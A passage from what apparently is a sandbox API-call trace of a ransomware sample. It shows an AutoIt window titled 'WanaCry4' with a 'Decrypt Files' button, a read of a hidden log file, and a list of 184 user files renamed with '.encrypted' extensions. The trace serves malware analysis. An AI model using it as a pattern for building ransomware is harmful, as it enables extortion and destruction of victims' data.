cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.710] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.711] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.711] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.711] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.711] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.711] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.711] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.711] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.711] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.712] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.712] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.712] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.712] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.712] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.712] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.712] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.712] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.712] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.712] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.713] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.713] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.713] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.713] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.713] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.713] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.713] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.713] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.713] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.713] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.714] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.714] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.714] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.714] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.714] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.714] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.715] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.715] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.715] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.715] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.715] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.715] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.715] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.715] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.715] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.715] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.716] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.716] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.716] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.716] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.716] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.716] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.716] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.716] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.716] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.716] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.717] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.717] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.717] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.717] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.717] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.717] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.717] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.717] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.717] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.717] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.718] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.718] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.966] SystemParametersInfoW (in: uiAction=0x30, uiParam=0x0, pvParam=0xbf60cff3f0, fWinIni=0x0 | out: pvParam=0xbf60cff3f0) returned 1 [0040.966] GetSystemMetrics (nIndex=7) returned 3 [0040.966] SystemParametersInfoW (in: uiAction=0x30, uiParam=0x0, pvParam=0xbf60cff3f0, fWinIni=0x0 | out: pvParam=0xbf60cff3f0) returned 1 [0040.966] GetSystemMetrics (nIndex=8) returned 3 [0040.966] GetSystemMetrics (nIndex=4) returned 23 [0040.966] SetRect (in: lprc=0xbf60cff3f0, xLeft=0, yTop=0, xRight=800, yBottom=650 | out: lprc=0xbf60cff3f0) returned 1 [0040.966] AdjustWindowRectEx (in: lpRect=0xbf60cff3f0, dwStyle=0x84c00000, bMenu=0, dwExStyle=0x0 | out: lpRect=0xbf60cff3f0) returned 1 [0040.966] CreateWindowExW (dwExStyle=0x0, lpClassName="AutoIt v3 GUI", lpWindowName="WanaCry4", dwStyle=0x84c00000, X=318, Y=92, nWidth=806, nHeight=679, hWndParent=0x0, hMenu=0x0, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x8018c [0040.967] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0040.967] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x81, wParam=0x0, lParam=0xbf60cfeda0) returned 0x1 [0040.967] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0040.967] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x83, wParam=0x0, lParam=0xbf60cfee10) returned 0x0 [0040.967] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0040.968] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0040.968] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x5, wParam=0x0, lParam=0x28a0320) returned 0x0 [0040.968] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0040.968] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x3, wParam=0x0, lParam=0x760141) returned 0x0 [0040.968] SetWindowLongPtrW (hWnd=0x8018c, nIndex=-21, dwNewLong=0x0) returned 0x0 [0040.968] GetClientRect (in: hWnd=0x8018c, lpRect=0xbf60cff3f0 | out: lpRect=0xbf60cff3f0) returned 1 [0040.968] GetStockObject (i=17) returned 0x10a0047 [0040.968] SendMessageW (hWnd=0x8018c, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0040.968] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0040.968] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0040.968] GetCursorPos (in: lpPoint=0xbf60cff390 | out: lpPoint=0xbf60cff390*(x=786, y=513)) returned 1 [0040.968] ScreenToClient (in: hWnd=0x8018c, lpPoint=0xbf60cff390 | out: lpPoint=0xbf60cff390) returned 1 [0040.968] GetAsyncKeyState (vKey=1) returned 0 [0040.968] GetAsyncKeyState (vKey=2) returned 0 [0040.968] SetTimer (hWnd=0x0, nIDEvent=0x0, uElapse=0x28, lpTimerFunc=0x7ff756b75a9c) returned 0x7f77 [0040.968] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 1 [0040.968] IsDialogMessageW (hDlg=0x8018c, lpMsg=0xbf60cff870) returned 1 [0040.968] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0040.968] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0040.968] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0040.969] CreateWindowExW (dwExStyle=0x100, lpClassName="button", lpWindowName="Decrypt Files", dwStyle=0x50030000, X=176, Y=400, nWidth=113, nHeight=41, hWndParent=0x8018c, hMenu=0x3, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x501ea [0040.969] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0040.969] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x55, wParam=0x501ea, lParam=0x3) returned 0x2 [0040.969] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0040.969] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0 [0040.969] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0040.969] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0040.969] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0040.969] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0040.970] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0040.970] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x210, wParam=0x30001, lParam=0x501ea) returned 0x0 [0040.970] GetStockObject (i=17) returned 0x10a0047 [0040.970] SendMessageW (hWnd=0x501ea, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0040.970] GetClientRect (in: hWnd=0x501ea, lpRect=0xbf60cff2c0 | out: lpRect=0xbf60cff2c0) returned 1 [0040.970] GetWindowRect (in: hWnd=0x501ea, lpRect=0xbf60cff2c0 | out: lpRect=0xbf60cff2c0) returned 1 [0040.970] SetWindowLongPtrW (hWnd=0x501ea, nIndex=-21, dwNewLong=0x3) returned 0x0 [0040.970] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0040.970] GetDC (hWnd=0x0) returned 0xe010572 [0040.970] GetDeviceCaps (hdc=0xe010572, index=90) returned 96 [0040.970] ReleaseDC (hWnd=0x0, hDC=0xe010572) returned 1 [0040.970] CreateFontW (cHeight=-16, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x410a06db [0040.970] SendMessageW (hWnd=0x501ea, Msg=0x30, wParam=0x410a06db, lParam=0x1) returned 0x0 [0040.971] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0040.971] CreateWindowExW (dwExStyle=0x200, lpClassName="edit", lpWindowName="", dwStyle=0x503110c4, X=16, Y=56, nWidth=768, nHeight=329, hWndParent=0x8018c, hMenu=0x4, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x8018a [0040.974] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0040.974] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x210, wParam=0x40001, lParam=0x8018a) returned 0x0 [0040.974] GetStockObject (i=17) returned 0x10a0047 [0040.974] SendMessageW (hWnd=0x8018a, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x1 [0040.975] GetWindowTextLengthW (hWnd=0x8018a) returned 0 [0040.975] SendMessageW (hWnd=0x8018a, Msg=0xb1, wParam=0x0, lParam=0x0) returned 0x1 [0040.975] GetClientRect (in: hWnd=0x8018a, lpRect=0xbf60cff2c0 | out: lpRect=0xbf60cff2c0) returned 1 [0040.975] GetWindowRect (in: hWnd=0x8018a, lpRect=0xbf60cff2c0 | out: lpRect=0xbf60cff2c0) returned 1 [0040.975] SetWindowLongPtrW (hWnd=0x8018a, nIndex=-21, dwNewLong=0x4) returned 0x0 [0040.975] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0040.975] CharUpperBuffW (in: lpsz="_GUICTRLEDIT_SETLIMITTEXT", cchLength=0x19 | out: lpsz="_GUICTRLEDIT_SETLIMITTEXT") returned 0x19 [0040.975] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0040.976] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0040.976] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0040.976] PeekMessageW (in: lpMsg=0xbf60cff230, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff230) returned 0 [0040.977] CharLowerBuffW (in: lpsz="lresult", cchLength=0x7 | out: lpsz="lresult") returned 0x7 [0040.977] LoadLibraryW (lpLibFileName="user32.dll") returned 0x7ffe2a3b0000 [0040.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SendMessageW", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0040.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SendMessageW", cchWideChar=13, lpMultiByteStr=0xbf60f34cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMessageW", lpUsedDefaultChar=0x0) returned 13 [0040.978] GetProcAddress (hModule=0x7ffe2a3b0000, lpProcName="SendMessageW") returned 0x7ffe2a3b6970 [0040.978] SendMessageW (hWnd=0x8018a, Msg=0xc5, wParam=0x3b9ac9ff, lParam=0x0) returned 0x1 [0040.978] FreeLibrary (hLibModule=0x7ffe2a3b0000) returned 1 [0040.978] PeekMessageW (in: lpMsg=0xbf60cff230, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff230) returned 0 [0040.979] PeekMessageW (in: lpMsg=0xbf60cff230, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff230) returned 0 [0040.979] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0040.980] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0040.980] CreateSolidBrush (color=0x0) returned 0x471007ed [0040.980] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0040.980] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0040.980] CreateFileW (lpFileName="C:\\PROGRA~1\\COMMON~1\\log.txt" (normalized: "c:\\progra~1\\common~1\\log.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0040.980] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0040.980] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xbf60cff3b0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xbf60cff3b0*=0) returned 1 [0040.980] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xbf60cff3a0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xbf60cff3a0*=0) returned 1 [0040.980] ReadFile (in: hFile=0x18c, lpBuffer=0xbf60f4cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbf60cff3e0, lpOverlapped=0x0 | out: lpBuffer=0xbf60f4cb00*, lpNumberOfBytesRead=0xbf60cff3e0*=0x324a, lpOverlapped=0x0) returned 1 [0040.981] ReadFile (in: hFile=0x18c, lpBuffer=0xbf60f4cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbf60cff3e0, lpOverlapped=0x0 | out: lpBuffer=0xbf60f4cb00*, lpNumberOfBytesRead=0xbf60cff3e0*=0x0, lpOverlapped=0x0) returned 1 [0040.981] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0040.981] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xbf60cff420, dwMoveMethod=0x1 | out: lpNewFilePointer=0xbf60cff420*=12874) returned 1 [0040.981] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0040.981] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xbf60cff420, dwMoveMethod=0x1 | out: lpNewFilePointer=0xbf60cff420*=0) returned 1 [0040.981] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xbf60cff370, dwMoveMethod=0x1 | out: lpNewFilePointer=0xbf60cff370*=0) returned 1 [0040.981] ReadFile (in: hFile=0x18c, lpBuffer=0xbf60f4cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbf60cff3b0, lpOverlapped=0x0 | out: lpBuffer=0xbf60f4cb00*, lpNumberOfBytesRead=0xbf60cff3b0*=0x324a, lpOverlapped=0x0) returned 1 [0040.982] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0040.982] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0040.982] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.982] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0040.982] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xbf60cfedd0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xbf60cfedd0*=0) returned 1 [0040.982] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xbf60cfedc0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xbf60cfedc0*=0) returned 1 [0040.982] ReadFile (in: hFile=0x18c, lpBuffer=0xbf60f4cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbf60cfee00, lpOverlapped=0x0 | out: lpBuffer=0xbf60f4cb00*, lpNumberOfBytesRead=0xbf60cfee00*=0x324a, lpOverlapped=0x0) returned 1 [0040.982] ReadFile (in: hFile=0x18c, lpBuffer=0xbf60f4cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbf60cfee00, lpOverlapped=0x0 | out: lpBuffer=0xbf60f4cb00*, lpNumberOfBytesRead=0xbf60cfee00*=0x0, lpOverlapped=0x0) returned 1 [0040.982] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.982] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.982] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0040.982] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xbf60cfece0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xbf60cfece0*=12874) returned 1 [0040.982] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0040.982] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xbf60cfece0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xbf60cfece0*=0) returned 1 [0040.982] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xbf60cfec30, dwMoveMethod=0x1 | out: lpNewFilePointer=0xbf60cfec30*=0) returned 1 [0040.982] ReadFile (in: hFile=0x18c, lpBuffer=0xbf60f4cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbf60cfec70, lpOverlapped=0x0 | out: lpBuffer=0xbf60f4cb00*, lpNumberOfBytesRead=0xbf60cfec70*=0x324a, lpOverlapped=0x0) returned 1 [0040.982] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.983] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.983] SetWindowTextW (hWnd=0x8018a, lpString="Encrypted files: 184\r\n\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\g_Kf.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\jbm6X5WVPb3d4o.encrypted.m4a\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\MBc0Rw8Uo_Of3f5.encrypted.wav\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\Ny2s.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\oTNowkVPArPdClpl.encrypted.flv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\P62rA6FYB gP.encrypted.mp4\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\0-0nSQtjx3OQOk.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\2U 4q.encrypted.mkv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\4GhbRlq-JKTwUq.encrypted.bmp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\7tLy.encrypted.png\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\b1DrBF6BJiH2t5R.encrypted.bmp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\cChNLI nseUI.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\DjG5LKzHA.encrypted.bmp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\2qHnNLlstx60xk.encrypted.swf\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\a7BOT.encrypted.m4a\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\BxiNkfDKL7n6uh.encrypted.mkv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\Mkl8.encrypted.flv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\O7 